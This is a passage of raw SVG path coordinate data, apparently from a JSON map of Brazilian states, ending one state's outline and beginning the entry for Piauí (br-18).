138439.00 101443.00 138439.00 101475.00C138417.33 101475.00 138395.67 101475.00 138374.00 101475.00C138385.00 101485.67 138396.00 101496.33 138407.00 101507.00C138396.00 101539.33 138385.00 101571.67 138374.00 101604.00C138299.00 101604.00 138224.00 101604.00 138149.00 101604.00C138149.00 101625.33 138149.00 101646.67 138149.00 101668.00C138138.33 101678.67 138127.67 101689.33 138117.00 101700.00C138117.00 101721.67 138117.00 101743.33 138117.00 101765.00C138085.00 101797.00 138053.00 101829.00 138021.00 101861.00C138031.67 101871.67 138042.33 101882.33 138053.00 101893.00C138010.00 101903.67 137967.00 101914.33 137924.00 101925.00C137913.33 101903.67 137902.67 101882.33 137892.00 101861.00C137892.00 101850.33 137892.00 101839.67 137892.00 101829.00C137881.33 101839.67 137870.67 101850.33 137860.00 101861.00C137849.33 101839.67 137838.67 101818.33 137828.00 101797.00C137828.00 101764.67 137828.00 101732.33 137828.00 101700.00C137795.67 101678.67 137763.33 101657.33 137731.00 101636.00C137731.00 101614.67 137731.00 101593.33 137731.00 101572.00C137763.33 101572.00 137795.67 101572.00 137828.00 101572.00C137838.67 101561.33 137849.33 101550.67 137860.00 101540.00C137881.33 101540.00 137902.67 101540.00 137924.00 101540.00C137924.00 101529.00 137924.00 101518.00 137924.00 101507.00C137945.67 101507.00 137967.33 101507.00 137989.00 101507.00C138010.33 101496.33 138031.67 101485.67 138053.00 101475.00C138053.00 101464.33 138053.00 101453.67 138053.00 101443.00C138063.67 101432.33 138074.33 101421.67 138085.00 101411.00C138085.00 101389.67 138085.00 101368.33 138085.00 101347.00C138074.33 101336.33 138063.67 101325.67 138053.00 101315.00C138053.00 101304.00 138053.00 101293.00 138053.00 101282.00C138063.67 101260.67 138074.33 101239.33 138085.00 101218.00C138106.33 101207.33 138127.67 101196.67 138149.00 101186.00C138149.00 101164.67 138149.00 101143.33 138149.00 101122.00C138170.67 101111.00 138192.33 101100.00 138214.00 101089.00C138214.00 101067.67 138214.00 101046.33 138214.00 101025.00C138278.33 100960.67 138342.67 100896.33 138407.00 100832.00C138407.00 100767.67 138407.00 100703.33 138407.00 100639.00C138417.67 100628.33 138428.33 100617.67 138439.00 100607.00C138439.00 100532.00 138439.00 100457.00 138439.00 100382.00C138406.67 100371.33 138374.33 100360.67 138342.00 100350.00C138331.33 100328.67 138320.67 100307.33 138310.00 100286.00C138288.67 100286.00 138267.33 100286.00 138246.00 100286.00C138256.67 100243.00 138267.33 100200.00 138278.00 100157.00C138245.67 100125.00 138213.33 100093.00 138181.00 100061.00C138159.67 100061.00 138138.33 100061.00 138117.00 100061.00C138117.10 100049.85 138116.80 100038.70 138117.15 100027.56C138127.75 99995.70 138138.38 99963.85 138149.00 99932.00C138127.67 99899.66 138106.33 99867.34 138085.00 99835.00C138074.33 99835.00 138063.67 99835.00 138053.00 99835.00C138053.00 99824.33 138053.00 99813.67 138053.00 99803.00C138095.67 99781.67 138138.33 99760.33 138181.00 99739.00C138181.00 99728.33 138181.00 99717.67 138181.00 99707.00C138202.92 99685.93 138224.59 99664.60 138246.00 99643.00C138246.00 99535.67 138246.00 99428.33 138246.00 99321.00C138256.67 99321.00 138267.33 99321.00 138278.00 99321.00C138278.00 99278.00 138278.00 99235.00 138278.00 99192.00C138267.33 99192.00 138256.67 99192.00 138246.00 99192.00C138213.61 99160.06 138181.06 99128.28 138149.00 99096.00C138159.67 99085.34 138170.33 99074.66 138181.00 99064.00C138181.00 99042.33 138181.00 99020.67 138181.00 98999.00C138202.67 98999.00 138224.33 98999.00 138246.00 98999.00C138246.00 98988.33 138246.00 98977.67 138246.00 98967.00C138246.00 98977.67 138246.00 98988.33 138246.00 98999.00C138256.67 98999.00 138267.33 98999.00 138278.00 98999.00C138299.33 98988.33 138320.67 98977.67 138342.00 98967.00C138342.00 98945.67 138342.00 98924.33 138342.00 98903.00C138331.33 98892.34 138320.67 98881.66 138310.00 98871.00C138331.33 98849.66 138352.67 98828.34 138374.00 98807.00C138374.00 98796.00 138374.00 98785.00 138374.00 98774.00C138342.00 98742.00 138310.00 98710.00 138278.00 98678.00C138299.33 98667.33 138320.67 98656.67 138342.00 98646.00C138352.67 98613.67 138363.33 98581.33 138374.00 98549.00C138363.33 98538.34 138352.67 98527.66 138342.00 98517.00C138331.33 98517.00 138320.67 98517.00 138310.00 98517.00C138320.67 98517.00 138331.33 98517.00 138342.00 98517.00C138342.00 98506.33 138342.00 98495.67 138342.00 98485.00C138331.33 98474.34 138320.67 98463.66 138310.00 98453.00C138320.67 98453.00 138331.33 98453.00 138342.00 98453.00C138331.33 98431.67 138320.67 98410.33 138310.00 98389.00C138331.33 98399.67 138352.67 98410.33 138374.00 98421.00C138385.00 98410.33 138396.00 98399.67 138407.00 98389.00C138364.00 98346.00 138321.00 98303.00 138278.00 98260.00C138288.67 98249.34 138299.33 98238.66 138310.00 98228.00C138299.33 98228.00 138288.67 98228.00 138278.00 98228.00C138288.67 98217.34 138299.33 98206.66 138310.00 98196.00C138310.00 98174.33 138310.00 98152.67 138310.00 98131.00C138278.00 98099.00 138246.00 98067.00 138214.00 98035.00C138224.81 98013.58 138235.30 97991.99 138246.32 97970.67C138256.89 97959.78 138267.44 97948.89 138278.00 97938.00C138278.00 97916.67 138278.00 97895.33 138278.00 97874.00C138267.33 97863.34 138256.67 97852.66 138246.00 97842.00C138246.00 97831.33 138246.00 97820.67 138246.00 97810.00C138235.33 97810.00 138224.67 97810.00 138214.00 97810.00C138214.00 97799.33 138214.00 97788.67 138214.00 97778.00C138224.67 97767.34 138235.33 97756.66 138246.00 97746.00C138267.33 97778.00 138288.67 97810.00 138310.00 97842.00C138342.33 97852.67 138374.67 97863.33 138407.00 97874.00C138417.67 97863.34 138428.33 97852.66 138439.00 97842.00C138449.67 97842.00 138460.33 97842.00 138471.00 97842.00C138492.33 97820.66 138513.67 97799.34 138535.00 97778.00C138556.67 97778.00 138578.33 97778.00 138600.00 97778.00C138610.67 97767.34 138621.33 97756.66 138632.00 97746.00C138632.00 97713.67 138632.00 97681.33 138632.00 97649.00C138653.33 97627.66 138674.67 97606.34 138696.00 97585.00C138696.00 97574.33 138696.00 97563.67 138696.00 97553.00C138706.67 97531.34 138717.33 97509.66 138728.00 97488.00C138717.33 97477.34 138706.67 97466.66 138696.00 97456.00C138674.67 97456.00 138653.33 97456.00 138632.00 97456.00C138610.33 97445.33 138588.67 97434.67 138567.00 97424.00C138556.19 97402.58 138545.70 97380.99 138534.68 97359.67C138524.11 97348.78 138513.56 97337.89 138503.00 97327.00C138492.33 97263.00 138481.67 97199.00 138471.00 97135.00C138449.67 97124.00 138428.33 97113.00 138407.00 97102.00C138374.67 97102.00 138342.33 97102.00 138310.00 97102.00C138320.67 97080.67 138331.33 97059.33 138342.00 97038.00C138331.33 97027.34 138320.67 97016.66 138310.00 97006.00C138288.67 97006.00 138267.33 97006.00 138246.00 97006.00C138235.33 97016.66 138224.67 97027.34 138214.00 97038.00C138203.00 97038.00 138192.00 97038.00 138181.00 97038.00C138181.00 97027.33 138181.00 97016.67 138181.00 97006.00C138170.33 96984.67 138159.67 96963.33 138149.00 96942.00C138127.67 96942.00 138106.33 96942.00 138085.00 96942.00C138053.00 96920.33 138021.00 96898.67 137989.00 96877.00C138010.33 96834.33 138031.67 96791.67 138053.00 96749.00C138031.67 96727.33 138010.33 96705.67 137989.00 96684.00C137946.10 96705.87 137903.11 96727.54 137860.00 96749.00C137849.33 96749.00 137838.67 96749.00 137828.00 96749.00C137828.00 96727.33 137828.00 96705.67 137828.00 96684.00C137795.67 96684.00 137763.33 96684.00 137731.00 96684.00C137742.00 96652.00 137753.00 96620.00 137764.00 96588.00C137753.00 96566.67 137742.00 96545.33 137731.00 96524.00C137709.67 96513.00 137688.33 96502.00 137667.00 96491.00C137635.00 96502.00 137603.00 96513.00 137571.00 96524.00C137517.33 96513.00 137463.67 96502.00 137410.00 96491.00C137388.33 96480.33 137366.67 96469.67 137345.00 96459.00C137345.00 96416.33 137345.00 96373.67 137345.00 96331.00C137323.67 96331.00 137302.33 96331.00 137281.00 96331.00C137249.00 96309.33 137217.00 96287.67 137185.00 96266.00C137152.67 96266.00 137120.33 96266.00 137088.00 96266.00C137066.67 96255.33 137045.33 96244.67 137024.00 96234.00C137045.33 96212.66 137066.67 96191.34 137088.00 96170.00C137098.67 96180.66 137109.33 96191.34 137120.00 96202.00C137131.00 96202.00 137142.00 96202.00 137153.00 96202.00C137174.33 96170.00 137195.67 96138.00 137217.00 96106.00C137206.33 96084.34 137195.67 96062.66 137185.00 96041.00C137163.33 96041.00 137141.67 96041.00 137120.00 96041.00C137152.33 96019.66 137184.67 95998.34 137217.00 95977.00C137238.33 95934.00 137259.67 95891.00 137281.00 95848.00C137291.67 95837.34 137302.33 95826.66 137313.00 95816.00C137291.67 95794.66 137270.33 95773.34 137249.00 95752.00C137259.67 95720.00 137270.33 95688.00 137281.00 95656.00C137270.16 95644.97 137259.61 95633.65 137248.59 95622.79C137225.67 95611.04 137202.24 95600.23 137179.67 95587.82C137127.78 95556.88 137075.89 95525.94 137024.00 95495.00C137034.67 95462.67 137045.33 95430.33 137056.00 95398.00C137056.00 95355.33 137056.00 95312.67 137056.00 95270.00C137099.00 95195.00 137142.00 95120.00 137185.00 95045.00C137185.00 95023.33 137185.00 95001.67 137185.00 94980.00C137163.33 94958.67 137141.67 94937.33 137120.00 94916.00C137088.00 94916.00 137056.00 94916.00 137024.00 94916.00C137024.00 94905.33 137024.00 94894.67 137024.00 94884.00C137034.67 94862.67 137045.33 94841.33 137056.00 94820.00C137024.00 94798.33 136992.00 94776.67 136960.00 94755.00C136970.67 94744.34 136981.33 94733.66 136992.00 94723.00C137067.00 94701.67 137142.00 94680.33 137217.00 94659.00C137227.67 94648.34 137238.33 94637.66 137249.00 94627.00C137227.67 94584.00 137206.33 94541.00 137185.00 94498.00C137152.67 94508.67 137120.33 94519.33 137088.00 94530.00C137066.67 94519.33 137045.33 94508.67 137024.00 94498.00C137024.00 94487.33 137024.00 94476.67 137024.00 94466.00C137067.00 94433.67 137110.00 94401.33 137153.00 94369.00C137163.67 94369.00 137174.33 94369.00 137185.00 94369.00C137185.00 94358.33 137185.00 94347.67 137185.00 94337.00C137174.16 94326.30 137163.60 94315.31 137152.58 94304.79C137131.06 94294.19 137109.53 94283.60 137088.00 94273.00C137077.33 94262.34 137066.67 94251.66 137056.00 94241.00C137066.79 94229.77 137078.58 94219.33 137088.72 94207.58C137110.15 94165.06 137131.57 94122.53 137153.00 94080.00C137174.33 94058.66 137195.67 94037.34 137217.00 94016.00C137227.67 94016.00 137238.33 94016.00 137249.00 94016.00C137259.67 93994.34 137270.33 93972.66 137281.00 93951.00C137324.00 93929.67 137367.00 93908.33 137410.00 93887.00C137452.67 93844.00 137495.33 93801.00 137538.00 93758.00C137495.33 93715.34 137452.67 93672.66 137410.00 93630.00C137367.00 93640.67 137324.00 93651.33 137281.00 93662.00C137270.33 93651.34 137259.67 93640.66 137249.00 93630.00C137238.33 93640.66 137227.67 93651.34 137217.00 93662.00C137206.22 93650.77 137194.43 93640.33 137184.29 93628.59C137173.86 93607.73 137163.43 93586.86 137153.00 93566.00C137163.67 93544.34 137174.33 93522.66 137185.00 93501.00C137174.33 93479.67 137163.67 93458.33 137153.00 93437.00C137174.33 93415.66 137195.67 93394.34 137217.00 93373.00C137227.67 93351.34 137238.33 93329.66 137249.00 93308.00C137249.00 93286.67 137249.00 93265.33 137249.00 93244.00C137238.33 93244.00 137227.67 93244.00 137217.00 93244.00C137217.00 93233.33 137217.00 93222.67 137217.00 93212.00C137249.00 93201.33 137281.00 93190.67 137313.00 93180.00C137313.00 93169.33 137313.00 93158.67 137313.00 93148.00C137291.43 93115.02 137269.32 93082.38 137248.10 93049.18C137237.73 93028.46 137227.37 93007.73 137217.00 92987.00C137195.67 92997.67 137174.33 93008.33 137153.00 93019.00C137153.00 92997.67 137153.00 92976.33 137153.00 92955.00C137185.00 92933.33 137217.00 92911.67 137249.00 92890.00C137259.67 92868.67 137270.33 92847.33 137281.00 92826.00C137378.87 92793.79 137476.59 92761.14 137574.41 92728.78C137605.33 92718.37 137636.11 92707.53 137667.00 92697.00C137677.84 92686.30 137688.40 92675.31 137699.42 92664.79C137720.94 92654.19 137742.47 92643.60 137764.00 92633.00C137785.33 92590.33 137806.67 92547.67 137828.00 92505.00C137857.13 92489.58 137887.13 92475.73 137915.11 92458.22C137961.07 92430.82 138007.04 92403.41 138053.00 92376.00C138063.67 92333.00 138074.33 92290.00 138085.00 92247.00C138085.00 92236.33 138085.00 92225.67 138085.00 92215.00C138073.77 92204.22 138063.34 92192.43 138051.60 92182.30C138030.73 92171.86 138009.87 92161.43 137989.00 92151.00C137934.75 92172.69 137880.32 92193.96 137826.18 92215.91C137805.45 92226.27 137784.73 92236.64 137764.00 92247.00C137742.33 92247.00 137720.67 92247.00 137699.00 92247.00C137687.48 92258.06 137676.82 92270.12 137664.73 92280.52C137601.15 92323.01 137537.58 92365.51 137474.00 92408.00C137420.33 92418.67 137366.67 92429.33 137313.00 92440.00C137291.67 92429.33 137270.33 92418.67 137249.00 92408.00C137217.00 92440.33 137185.00 92472.67 137153.00 92505.00C137110.00 92526.33 137067.00 92547.67 137024.00 92569.00C137002.67 92569.00 136981.33 92569.00 136960.00 92569.00C136949.33 92536.67 136938.67 92504.33 136928.00 92472.00C136928.00 92450.67 136928.00 92429.33 136928.00 92408.00C136917.00 92408.00 136906.00 92408.00 136895.00 92408.00C136863.00 92386.67 136831.00 92365.33 136799.00 92344.00C136820.33 92311.66 136841.67 92279.34 136863.00 92247.00C136863.00 92204.33 136863.00 92161.67 136863.00 92119.00C136820.33 92119.00 136777.67 92119.00 136735.00 92119.00C136735.00 92108.33 136735.00 92097.67 136735.00 92087.00C136745.67 92076.00 136756.33 92065.00 136767.00 92054.00C136777.67 92022.00 136788.33 91990.00 136799.00 91958.00C136799.00 91936.67 136799.00 91915.33 136799.00 91894.00C136820.33 91883.00 136841.67 91872.00 136863.00 91861.00C136863.00 91829.00 136863.00 91797.00 136863.00 91765.00C136852.33 91765.00 136841.67 91765.00 136831.00 91765.00C136820.33 91754.34 136809.67 91743.66 136799.00 91733.00C136820.33 91722.33 136841.67 91711.67 136863.00 91701.00C136852.33 91679.34 136841.67 91657.66 136831.00 91636.00C136852.33 91625.33 136873.67 91614.67 136895.00 91604.00C136895.00 91572.00 136895.00 91540.00 136895.00 91508.00C136884.33 91497.34 136873.67 91486.66 136863.00 91476.00C136852.33 91476.00 136841.67 91476.00 136831.00 91476.00C136809.87 91432.90 136788.54 91389.90 136767.00 91347.00C136799.00 91315.00 136831.00 91283.00 136863.00 91251.00C136884.19 91207.60 136905.68 91164.33 136928.33 91121.67C136938.89 91111.12 136949.44 91100.56 136960.00 91090.00C136960.00 91068.33 136960.00 91046.67 136960.00 91025.00C136970.67 91014.34 136981.33 91003.66 136992.00 90993.00C136992.00 90971.67 136992.00 90950.33 136992.00 90929.00C137024.00 90918.33 137056.00 90907.67 137088.00 90897.00C137098.67 90886.34 137109.33 90875.66 137120.00 90865.00C137141.67 90865.00 137163.33 90865.00 137185.00 90865.00C137206.33 90875.67 137227.67 90886.33 137249.00 90897.00C137259.67 90897.00 137270.33 90897.00 137281.00 90897.00C137291.67 90886.34 137302.33 90875.66 137313.00 90865.00C137323.67 90865.00 137334.33 90865.00 137345.00 90865.00C137356.00 90854.33 137367.00 90843.67 137378.00 90833.00C137410.00 90822.00 137442.00 90811.00 137474.00 90800.00C137484.67 90789.34 137495.33 90778.66 137506.00 90768.00C137527.67 90768.00 137549.33 90768.00 137571.00 90768.00C137592.33 90746.66 137613.67 90725.34 137635.00 90704.00C137656.33 90693.33 137677.67 90682.67 137699.00 90672.00C137720.67 90629.00 137742.33 90586.00 137764.00 90543.00C137764.00 90521.67 137764.00 90500.33 137764.00 90479.00C137720.90 90457.87 137677.90 90436.54 137635.00 90415.00C137560.00 90447.00 137485.00 90479.00 137410.00 90511.00C137388.33 90511.00 137366.67 90511.00 137345.00 90511.00C137313.00 90532.33 137281.00 90553.67 137249.00 90575.00C137173.51 90564.40 137098.07 90553.26 137022.55 90543.00C137012.37 90543.00 137002.18 90543.00 136992.00 90543.00C136981.33 90564.33 136970.67 90585.67 136960.00 90607.00C136927.67 90618.00 136895.33 90629.00 136863.00 90640.00C136873.64 90586.17 136884.51 90532.39 136895.00 90478.54C136895.00 90457.36 136895.00 90436.18 136895.00 90415.00C136916.87 90372.10 136938.54 90329.10 136960.00 90286.00C136938.33 90254.00 136916.67 90222.00 136895.00 90190.00C136927.43 90168.20 136959.99 90146.60 136992.33 90124.67C137013.55 90103.45 137034.78 90082.23 137056.00 90061.00C137045.19 90039.58 137034.70 90017.99 137023.68 89996.67C137002.71 89974.86 136981.49 89953.30 136960.00 89932.00C136960.00 89889.33 136960.00 89846.67 136960.00 89804.00C136970.67 89793.00 136981.33 89782.00 136992.00 89771.00C136992.00 89749.67 136992.00 89728.33 136992.00 89707.00C136981.33 89685.67 136970.67 89664.33 136960.00 89643.00C136981.33 89632.33 137002.67 89621.67 137024.00 89611.00C137024.00 89568.00 137024.00 89525.00 137024.00 89482.00C137012.77 89471.22 137002.34 89459.43 136990.60 89449.30C136969.73 89438.86 136948.87 89428.43 136928.00 89418.00C136928.00 89407.33 136928.00 89396.67 136928.00 89386.00C136917.00 89386.00 136906.00 89386.00 136895.00 89386.00C136916.67 89353.67 136938.33 89321.33 136960.00 89289.00C136981.33 89278.33 137002.67 89267.67 137024.00 89257.00C137045.33 89235.66 137066.67 89214.34 137088.00 89193.00C137077.33 89171.34 137066.67 89149.66 137056.00 89128.00C137034.67 89128.00 137013.33 89128.00 136992.00 89128.00C136992.00 89117.33 136992.00 89106.67 136992.00 89096.00C136970.67 89085.33 136949.33 89074.67 136928.00 89064.00C136949.33 89010.33 136970.67 88956.67 136992.00 88903.00C136981.33 88881.67 136970.67 88860.33 136960.00 88839.00C136981.33 88817.66 137002.67 88796.34 137024.00 88775.00C137034.67 88742.67 137045.33 88710.33 137056.00 88678.00C137066.67 88667.34 137077.33 88656.66 137088.00 88646.00C137098.81 88645.90 137109.63 88646.20 137120.44 88645.85C137154.10 88634.97 137187.51 88623.29 137221.32 88612.92C137262.55 88602.61 137303.77 88592.31 137345.00 88582.00C137409.33 88582.00 137473.67 88582.00 137538.00 88582.00C137549.00 88549.67 137560.00 88517.33 137571.00 88485.00C137560.00 88463.67 137549.00 88442.33 137538.00 88421.00C137549.00 88399.67 137560.00 88378.33 137571.00 88357.00C137560.00 88335.33 137549.00 88313.67 137538.00 88292.00C137504.45 88303.78 137470.56 88314.68 137437.22 88327.04C137363.82 88358.36 137290.41 88389.68 137217.00 88421.00C137174.00 88410.33 137131.00 88399.67 137088.00 88389.00C137088.00 88335.33 137088.00 88281.67 137088.00 88228.00C137098.67 88206.67 137109.33 88185.33 137120.00 88164.00C137120.00 88153.33 137120.00 88142.67 137120.00 88132.00C137109.33 88110.34 137098.67 88088.66 137088.00 88067.00C137066.67 88045.66 137045.33 88024.34 137024.00 88003.00C136992.00 88003.00 136960.00 88003.00 136928.00 88003.00C136917.00 88013.67 136906.00 88024.33 136895.00 88035.00C136884.33 88024.34 136873.67 88013.66 136863.00 88003.00C136863.00 87992.33 136863.00 87981.67 136863.00 87971.00C136873.67 87960.34 136884.33 87949.66 136895.00 87939.00C136895.00 87917.33 136895.00 87895.67 136895.00 87874.00C136906.00 87863.33 136917.00 87852.67 136928.00 87842.00C136917.00 87820.67 136906.00 87799.33 136895.00 87778.00C136863.00 87756.67 136831.00 87735.33 136799.00 87714.00C136788.33 87714.00 136777.67 87714.00 136767.00 87714.00C136745.33 87703.33 136723.67 87692.67 136702.00 87682.00C136691.33 87660.34 136680.67 87638.66 136670.00 87617.00C136659.33 87627.66 136648.67 87638.34 136638.00 87649.00C136627.33 87638.34 136616.67 87627.66 136606.00 87617.00C136616.67 87606.34 136627.33 87595.66 136638.00 87585.00C136638.00 87563.67 136638.00 87542.33 136638.00 87521.00C136681.00 87510.33 136724.00 87499.67 136767.00 87489.00C136767.00 87478.00 136767.00 87467.00 136767.00 87456.00C136756.19 87455.90 136745.37 87456.20 136734.56 87455.85C136702.37 87445.24 136670.19 87434.62 136638.00 87424.00C136627.19 87423.90 136616.37 87424.20 136605.56 87423.85C136573.37 87413.24 136541.19 87402.62 136509.00 87392.00C136520.15 87370.58 136530.97 87348.98 136542.33 87327.67C136552.89 87317.12 136563.44 87306.56 136574.00 87296.00C136552.33 87263.67 136530.67 87231.33 136509.00 87199.00C136498.33 87199.00 136487.67 87199.00 136477.00 87199.00C136498.67 87188.33 136520.33 87177.67 136542.00 87167.00C136552.67 87135.00 136563.33 87103.00 136574.00 87071.00C136563.33 87060.00 136552.67 87049.00 136542.00 87038.00C136542.00 87016.67 136542.00 86995.33 136542.00 86974.00C136509.67 86963.33 136477.33 86952.67 136445.00 86942.00C136455.67 86931.34 136466.33 86920.66 136477.00 86910.00C136477.00 86888.67 136477.00 86867.33 136477.00 86846.00C136466.33 86835.00 136455.67 86824.00 136445.00 86813.00C136466.33 86802.33 136487.67 86791.67 136509.00 86781.00C136509.10 86770.19 136508.80 86759.37 136509.15 86748.56C136520.09 86716.71 136531.05 86684.85 136542.00 86653.00C136542.00 86631.33 136542.00 86609.67 136542.00 86588.00C136552.67 86566.67 136563.33 86545.33 136574.00 86524.00C136563.33 86502.67 136552.67 86481.33 136542.00 86460.00C136520.33 86449.33 136498.67 86438.67 136477.00 86428.00C136477.00 86417.00 136477.00 86406.00 136477.00 86395.00C136466.33 86373.67 136455.67 86352.33 136445.00 86331.00C136466.33 86320.33 136487.67 86309.67 136509.00 86299.00C136498.33 86288.34 136487.67 86277.66 136477.00 86267.00C136477.00 86256.33 136477.00 86245.67 136477.00 86235.00C136455.67 86213.33 136434.33 86191.67 136413.00 86170.00C136413.00 86148.67 136413.00 86127.33 136413.00 86106.00C136434.33 86095.33 136455.67 86084.67 136477.00 86074.00C136487.67 86074.00 136498.33 86074.00 136509.00 86074.00C136509.00 86052.67 136509.00 86031.33 136509.00 86010.00C136541.33 85977.66 136573.67 85945.34 136606.00 85913.00C136627.33 85902.33 136648.67 85891.67 136670.00 85881.00C136680.79 85869.77 136692.58 85859.32 136702.72 85847.58C136713.49 85826.39 136724.24 85805.19 136735.00 85784.00C136777.67 85773.33 136820.33 85762.67 136863.00 85752.00C136885.46 85751.75 136907.98 85752.51 136930.40 85751.60C136993.60 85741.06 137056.80 85730.53 137120.00 85720.00C137173.67 85698.67 137227.33 85677.33 137281.00 85656.00C137313.33 85656.00 137345.67 85656.00 137378.00 85656.00C137410.00 85623.67 137442.00 85591.33 137474.00 85559.00C137474.00 85537.67 137474.00 85516.33 137474.00 85495.00C137463.33 85473.67 137452.67 85452.33 137442.00 85431.00C137409.67 85431.00 137377.33 85431.00 137345.00 85431.00C137323.67 85452.34 137302.33 85473.66 137281.00 85495.00C137238.33 85505.67 137195.67 85516.33 137153.00 85527.00C137109.90 85505.87 137066.90 85484.54 137024.00 85463.00C136992.00 85452.33 136960.00 85441.67 136928.00 85431.00C136885.00 85452.33 136842.00 85473.67 136799.00 85495.00C136777.67 85495.00 136756.33 85495.00 136735.00 85495.00C136702.61 85463.06 136670.06 85431.28 136638.00 85399.00C136616.67 85409.67 136595.33 85420.33 136574.00 85431.00C136552.33 85398.67 136530.67 85366.33 136509.00 85334.00C136520.00 85312.67 136531.00 85291.33 136542.00 85270.00C136531.00 85248.67 136520.00 85227.33 136509.00 85206.00C136520.00 85195.33 136531.00 85184.67 136542.00 85174.00C136563.33 85184.67 136584.67 85195.33 136606.00 85206.00C136616.67 85195.34 136627.33 85184.66 136638.00 85174.00C136638.00 85152.33 136638.00 85130.67 136638.00 85109.00C136659.33 85098.33 136680.67 85087.67 136702.00 85077.00C136713.00 85055.67 136724.00 85034.33 136735.00 85013.00C136724.00 85002.33 136713.00 84991.67 136702.00 84981.00C136702.00 84970.33 136702.00 84959.67 136702.00 84949.00C136723.67 84938.00 136745.33 84927.00 136767.00 84916.00C136767.00 84905.33 136767.00 84894.67 136767.00 84884.00C136745.33 84873.33 136723.67 84862.67 136702.00 84852.00C136680.67 84830.66 136659.33 84809.34 136638.00 84788.00C136606.00 84798.67 136574.00 84809.33 136542.00 84820.00C136531.00 84809.33 136520.00 84798.67 136509.00 84788.00C136532.95 84776.54 136556.39 84763.97 136580.70 84753.30C136632.13 84732.53 136683.57 84711.77 136735.00 84691.00C136767.00 84637.67 136799.00 84584.33 136831.00 84531.00C136852.33 84520.00 136873.67 84509.00 136895.00 84498.00C136894.90 84476.52 136895.20 84455.04 136894.85 84433.56C136884.25 84401.70 136873.62 84369.85 136863.00 84338.00C136852.21 84326.44 136840.46 84315.63 136830.29 84303.59C136819.86 84282.73 136809.43 84261.86 136799.00 84241.00C136799.00 84219.67 136799.00 84198.33 136799.00 84177.00C136820.33 84166.33 136841.67 84155.67 136863.00 84145.00C136884.67 84155.67 136906.33 84166.33 136928.00 84177.00C136949.33 84166.33 136970.67 84155.67 136992.00 84145.00C137024.00 84145.00 137056.00 84145.00 137088.00 84145.00C137141.82 84177.04 137195.55 84209.24 137249.43 84241.17C137302.95 84262.45 137356.48 84283.72 137410.00 84305.00C137431.33 84294.33 137452.67 84283.67 137474.00 84273.00C137506.33 84283.67 137538.67 84294.33 137571.00 84305.00C137603.16 84294.34 137635.25 84283.46 137667.46 84272.93C137742.31 84262.29 137817.15 84251.65 137892.00 84241.00C137892.00 84209.00 137892.00 84177.00 137892.00 84145.00C137881.33 84134.34 137870.67 84123.66 137860.00 84113.00C137849.19 84112.90 137838.37 84113.20 137827.56 84112.85C137795.37 84101.90 137763.19 84090.95 137731.00 84080.00C137720.33 84069.34 137709.67 84058.66 137699.00 84048.00C137677.67 84058.67 137656.33 84069.33 137635.00 84080.00C137602.67 84080.00 137570.33 84080.00 137538.00 84080.00C137527.33 84058.67 137516.67 84037.33 137506.00 84016.00C137484.67 84026.67 137463.33 84037.33 137442.00 84048.00C137431.33 84058.66 137420.67 84069.34 137410.00 84080.00C137366.90 84058.87 137323.90 84037.54 137281.00 84016.00C137270.33 83994.67 137259.67 83973.33 137249.00 83952.00C137249.00 83941.33 137249.00 83930.67 137249.00 83920.00C137227.67 83898.33 137206.33 83876.67 137185.00 83855.00C137163.33 83855.00 137141.67 83855.00 137120.00 83855.00C137098.67 83844.33 137077.33 83833.67 137056.00 83823.00C137045.19 83822.90 137034.37 83823.20 137023.56 83822.85C136991.26 83811.94 136958.75 83801.55 136926.58 83790.30C136884.05 83769.19 136841.53 83748.10 136799.00 83727.00C136745.33 83737.67 136691.67 83748.33 136638.00 83759.00C136616.67 83748.33 136595.33 83737.67 136574.00 83727.00C136531.00 83727.00 136488.00 83727.00 136445.00 83727.00C136423.67 83737.67 136402.33 83748.33 136381.00 83759.00C136370.33 83759.00 136359.67 83759.00 136349.00 83759.00C136338.21 83747.77 136326.42 83737.32 136316.28 83725.58C136305.51 83704.39 136294.76 83683.19 136284.00 83662.00C136252.00 83651.33 136220.00 83640.67 136188.00 83630.00C136134.33 83630.00 136080.67 83630.00 136027.00 83630.00C136016.33 83608.67 136005.67 83587.33 135995.00 83566.00C135963.00 83555.33 135931.00 83544.67 135899.00 83534.00C135876.82 83512.66 135854.73 83491.18 135833.85 83468.56C135823.25 83436.70 135812.62 83404.85 135802.00 83373.00C135802.00 83308.67 135802.00 83244.33 135802.00 83180.00C135770.00 83158.67 135738.00 83137.33 135706.00 83116.00C135706.00 83062.33 135706.00 83008.67 135706.00 82955.00C135684.33 82944.33 135662.67 82933.67 135641.00 82923.00C135630.19 82922.90 135619.37 82923.20 135608.56 82922.85C135576.71 82912.24 135544.85 82901.62 135513.00 82891.00C135491.33 82858.67 135469.67 82826.33 135448.00 82794.00C135437.33 82751.33 135426.67 82708.67 135416.00 82666.00C135416.00 82644.33 135416.00 82622.67 135416.00 82601.00z"},"br-18":{"name":"Piauí","path":"M138535.00 77489.00C138524.33 77424.67 138513.67 77360.33 138503.00 77296.00C138513.67 77274.67 138524.33 77253.33 138535.00 77232.00C138535.00 77210.33 138535.00 77188.67 138535.00 77167.00C138567.33 77167.00 138599.67 77167.00 138632.00 77167.00C138642.67 77135.00 138653.33 77103.00 138664.00 77071.00C138674.67 77060.34 138685.33 77049.66 138696.00 77039.00C138696.00 77028.33 138696.00 77017.67 138696.00 77007.00C138717.33 76996.00 138738.67 76985.00 138760.00 76974.00C138778.42 76918.57 138796.86 76863.14 138816.07 76807.97C138819.05 76799.32 138822.02 76790.66 138825.00 76782.00C138835.67 76771.00 138846.33 76760.00 138857.00 76749.00C138878.33 76685.00 138899.67 76621.00 138921.00 76557.00C138899.67 76535.33 138878.33 76513.67 138857.00 76492.00C138867.67 76492.00 138878.33 76492.00 138889.00 76492.00C138889.06 76470.56 138888.89 76449.11 138889.08 76427.67C138899.72 76384.78 138910.36 76341.89 138921.00 76299.00C138921.00 76288.33 138921.00 76277.67 138921.00 76267.00C138942.33 76245.66 138963.67 76224.34 138985.00 76203.00C138985.00 76181.33 138985.00 76159.67 138985.00 76138.00C138995.67 76106.00 139006.33 76074.00 139017.00 76042.00C139017.00 76031.33 139017.00 76020.67 139017.00 76010.00C139028.00 75988.67 139039.00 75967.33 139050.00 75946.00C139039.00 75913.67 139028.00 75881.33 139017.00 75849.00C138995.67 75827.66 138974.33 75806.34 138953.00 75785.00C138953.00 75731.33 138953.00 75677.67 138953.00 75624.00C138942.33 75613.34 138931.67 75602.66 138921.00 75592.00C138921.00 75581.33 138921.00 75570.67 138921.00 75560.00C138942.33 75527.66 138963.67 75495.34 138985.00 75463.00C138985.21 75451.90 138984.57 75440.72 138985.33 75429.67C138995.89 